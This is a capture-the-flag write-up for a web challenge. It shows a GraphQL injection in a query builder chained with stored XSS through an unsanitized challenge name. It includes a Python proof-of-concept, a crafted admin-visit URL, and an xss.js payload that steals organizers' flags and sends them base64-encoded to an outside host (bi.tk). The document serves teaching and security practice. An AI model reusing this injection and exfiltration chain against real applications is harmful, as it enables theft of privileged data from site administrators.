When creating a task in a ctf the description is rendered as HTML but there is some sanitization.The name is rendered as a string but without sanitization.
The function `ctf` in `query.js` is vulnerable to graphql injection.
```javascript=async function ctf(id) {    return await query(`{        wtf(id: ${id}) { # Injection in id here            name            description            challs {                name                points                description            }        }    }`)}```
We can modify the graphql query an abuse aliases to get name instead of description
Exploit:* Create a WTF (id=2)* Create chall with the xss in the name* make the admin visit `/?#wtf/2){id,challs{description:name}}a:wtf(id:2`* profit
poc.py
```python#!/usr/bin/env python# type: ignore from pwn import *import timefrom request import Sessionimport reimport jsonfrom subprocess import check_output
def jprint(j):  print(json.dumps(j, indent=2))
prefix_reg = re.compile("sha1\(([a-f0-9]+)")url_reg = re.compile(".* listening on (.*)")
sh = remote("hyper.tasteless.eu", 10301)s = Session()
def connect():  l = sh.readline().decode()  h = prefix_reg.findall(l)[0]  cmd = f"go run pow.go {h} 000000"  print(cmd)  p = check_output(cmd, shell=True).strip()  sh.sendline(p)  print(sh.readline())  l = sh.readline().decode()  url = url_reg.findall(l)[0]  print(url)  return url
url = connect()
def send_query(query):  data = {    "query": query,    "variables": {}  }   r = s.post(url + "graphql", json=data).json()  jprint(r)
time.sleep(1)
send_query("""mutation register{  register(username:"bitk", password:"bitk")}
""")send_query("""mutation authenticate{  authenticate(username:"bitk", password:"bitk")}
""")
send_query(""" mutation createWTF{  createWTF(input: {name:"xss", description:"xss"}){id}}
""")
send_query(""" mutation createChall{  createChall(input: {wtf:2, name:"<iframe srcdoc=\\"<script src='https://bi.tk/zob/xss.js'></script>\\"></iframe>", description:"xss"}){id}}
""")sh.interactive()
```
make the admin visit  `/?#wtf/2){id,challs{description:name}}a:wtf(id:2` to trigger the javascript
Xss.js```javascriptasync function main(){    const r = await parent.query(`{organizers{  wtfs{    challs{      name      flag    }  }}}`, {})    const msg = btoa(JSON.stringify(r.data))    await fetch("https://bi.tk/?"+msg, { mode:'no-cors'})}
main()
```